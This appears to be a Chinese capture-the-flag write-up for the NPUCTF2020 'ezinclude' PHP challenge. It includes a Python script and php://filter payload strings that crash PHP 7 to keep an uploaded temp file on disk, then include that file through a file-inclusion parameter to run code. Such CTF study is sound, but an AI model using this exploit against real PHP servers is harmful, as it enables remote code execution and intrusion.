# [NPUCTF2020]ezinclude
进去发现是用户名与密码错误
F12 发现提示:
要 md5name 后的字符串等于 pass,不知道 pass,可以 bp 发现传送回来的东西有 hash 这个东西
直接加入 pass 等于这个 hash 值得到:
得到 flflflflag.php 这个文件。
但是他会直接进到 404.html 文件
然后就不会了;接着就是大佬的操作了:
大佬看到了 php 的版本 7.0.33,直接就是:
# php7 segment fault 特性
扫目录可得 dir.php
…… 扫不出来
向 PHP 发送含有文件区块的数据包时,让 PHP 异常崩溃退出,POST 的临时文件就会被保留
- php < 7.2
php://filter/string.strip_tags/resource=/etc/passwd- php7 老版本通杀
php://filter/convert.quoted-printable-encode/resource=data://,% bfAAAAAAAAAAAAAAAAAAAAAAA% ff% ff% ff% ff% ff% ff% ff% ffAAAAAAAAAAAAAAAAAAAAAAAA
嫖个脚本:
import requests
from io import BytesIO
mode1 = "php://filter/string.strip_tags/resource=/etc/passwd"
mode2 = "php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA"
url = "http://93fed8e6-341b-499c-b41b-0f0a6288549b.node4.buuoj.cn:81/flflflflag.php?file="
url = url + mode1
payload = "<?php phpinfo();?>"
files = {
"file": BytesIO(payload.encode())
}
res = requests.post(url=url, files=files, allow_redirects=False)
print(res.text)
访问 dir.php:
有个文件名,访问本地 file=/tmp/phpBWqZND
该脚本写了一个 php 探针:直接 bp 访问该文件
因为直接访问好像不能打开,会直接跳转到 404.html 文件里面,无法访问 php 探针。
获取 flag,完成撒花~~~~~~~~